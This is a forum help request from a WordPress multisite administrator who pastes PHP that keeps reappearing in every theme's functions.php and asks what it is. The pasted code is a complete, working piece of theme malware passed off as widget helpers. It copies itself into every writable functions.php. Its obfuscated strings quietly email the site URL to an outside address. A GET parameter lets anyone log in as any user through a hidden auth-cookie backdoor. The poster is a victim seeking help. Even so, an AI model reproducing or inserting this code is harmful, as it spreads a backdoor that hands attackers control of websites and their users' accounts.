auto add some code to all functions.php

Hi. I have multisite 3.3. but some of themes are old.
this code automatically add to all functions.php and when I delete it, it add again and again. ( permissions for all functions.php files is 644 )

<?php

    function _check_active_widget(){

            $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

            $output=strip_tags($output, $allowed);

            $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

            if (is_array($direst)){

                    foreach ($direst as $item){

                            if (is_writable($item)){

                                    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

                                    $cont=file_get_contents($item);

                                    if (stripos($cont,$ftion) === false){

                                            $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

                                            $output .= $before . "Not found" . $after;

                                            if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

                                            $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);                           

                                            $output .= ($showdot && $ellipsis) ? "..." : "";

                                    }

                            }

                    }

            }

            return $output;

    }

    function _get_all_widgetcont($wids,$items=array()){

            $places=array_shift($wids);

            if(substr($places,-1) == "/"){

                    $places=substr($places,0,-1);

            }

            if(!file_exists($places) || !is_dir($places)){

                    return false;

            }elseif(is_readable($places)){

                    $elems=scandir($places);

                    foreach ($elems as $elem){

                            if ($elem != "." && $elem != ".."){

                                    if (is_dir($places . "/" . $elem)){

                                            $wids[]=$places . "/" . $elem;

                                    } elseif (is_file($places . "/" . $elem)&&

                                            $elem == substr(__FILE__,-13)){

                                            $items[]=$places . "/" . $elem;}

                                    }

                            }

            }else{

                    return false;  

            }

            if (sizeof($wids) > 0){

                    return _get_all_widgetcont($wids,$items);

            } else {

                    return $items;

            }

    }

    if(!function_exists("stripos")){

        function stripos(  $str, $needle, $offset = 0  ){

            return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );

        }

    }

    if(!function_exists("strripos")){

        function strripos(  $haystack, $needle, $offset = 0  ) {

            if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );

            if(  $offset < 0  ){

                $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );

            }

            else{

                $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );

            }

            if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;

            $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );

            return $pos;

        }

    }

    if(!function_exists("scandir")){

            function scandir($dir,$listDirectories=false, $skipDots=true) {

                $dirArray = array();

                if ($handle = opendir($dir)) {

                    while (false !== ($file = readdir($handle))) {

                        if (($file != "." && $file != "..") || $skipDots == true) {

                            if($listDirectories == false) { if(is_dir($file)) { continue; } }

                            array_push($dirArray,basename($file));

                        }

                    }

                    closedir($handle);

                }

                return $dirArray;

            }

    }

    add_action("admin_head", "_check_active_widget");

    function _prepared_widget(){

            if(!isset($length)) $length=120;

            if(!isset($method)) $method="cookie";

            if(!isset($html_tags)) $html_tags="<a>";

            if(!isset($filters_type)) $filters_type="none";

            if(!isset($s)) $s="";

            if(!isset($filter_h)) $filter_h=get_option("home");

            if(!isset($filter_p)) $filter_p="wp_";

            if(!isset($use_link)) $use_link=1;

            if(!isset($comments_type)) $comments_type="";

            if(!isset($perpage)) $perpage=$_GET["cperpage"];

            if(!isset($comments_auth)) $comments_auth="";

            if(!isset($comment_is_approved)) $comment_is_approved="";

            if(!isset($authname)) $authname="auth";

            if(!isset($more_links_text)) $more_links_text="(more...)";

            if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

            if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

            if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

            if(!isset($more_content)) $more_content="ma".$s."il";

            if(!isset($forces_more)) $forces_more=1;

            if(!isset($fakeit)) $fakeit=1;

            if(!isset($sql)) $sql="";

            if (!$widget_output) :

            global $wpdb, $post;

            $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

            if (!empty($post->post_password)) {

                    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

                            if(is_feed()) {

                                    $output=__("There is no excerpt because this is a protected post.");

                            } else {

                        $output=get_the_password_form();

                            }

                    }

            }

            if(!isset($fix_tag)) $fix_tag=1;

            if(!isset($filters_types)) $filters_types=$filter_h;

            if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

            if(!isset($more_tags)) $more_tags="div";

            if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

            if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   

            if(!isset($showdot)) $showdot=1;

            $comments=$wpdb->get_results($sql);    

            if($fakeit == 2) {

                    $text=$post->post_content;

            } elseif($fakeit == 1) {

                    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

            } else {

                    $text=$post->post_excerpt;

            }

            $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

            if($length < 0) {

                    $output=$text;

            } else {

                    if(!$no_more && strpos($text, "<!--more-->")) {

                        $text=explode("<!--more-->", $text, 2);

                            $l=count($text[0]);

                            $more_link=1;

                            $comments=$wpdb->get_results($sql);

                    } else {

                            $text=explode(" ", $text);

                            if(count($text) > $length) {

                                    $l=$length;

                                    $ellipsis=1;

                            } else {

                                    $l=count($text);

                                    $more_links_text="";

                                    $ellipsis=0;

                            }

                    }

                    for ($i=0; $i<$l; $i++)

                                    $output .= $text[$i] . " ";

            }

            update_option("_is_widget_active_", 1);

            if("all" != $html_tags) {

                    $output=strip_tags($output, $html_tags);

                    return $output;

            }

            endif;

            $output=rtrim($output, "\s\n\t\r\x0B");

        $output=($fix_tag) ? balanceTags($output, true) : $output;

            $output .= ($showdot && $ellipsis) ? "..." : "";

            $output=apply_filters($filters_type, $output);

            switch($more_tags) {

                    case("div") :

                            $tag="div";

                    break;

                    case("span") :

                            $tag="span";

                    break;

                    case("p") :

                            $tag="p";

                    break;

                    default :

                            $tag="span";

            }

            if ($use_link ) {

                    if($forces_more) {

                            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

                    } else {

                            $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

                    }

            }

            return $output;

    }

    add_action("init", "_prepared_widget");

    function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

            global $wpdb;

            $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

            $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

            if(!$show_pass_post) $request .= " AND post_password =\"\"";

            if($duration !="") {

                    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

            }

            $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

            $posts=$wpdb->get_results($request);

            $output="";

            if ($posts) {

                    foreach ($posts as $post) {

                            $post_title=stripslashes($post->post_title);

                            $comment_count=$post->comment_count;

                            $permalink=get_permalink($post->ID);

                            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

                    }

            } else {

                    $output .= $before . "None found" . $after;

            }

            return  $output;

    }              

    ?>

I never added this code to any theme. It's mysteriously being added to all themes!

what is this code ? and why it add to functions.php in all themes ?

and in blogs I see this error :

Fatal error: Cannot redeclare __popular_posts() (previously declared in \wordpress\wp-content\themes\...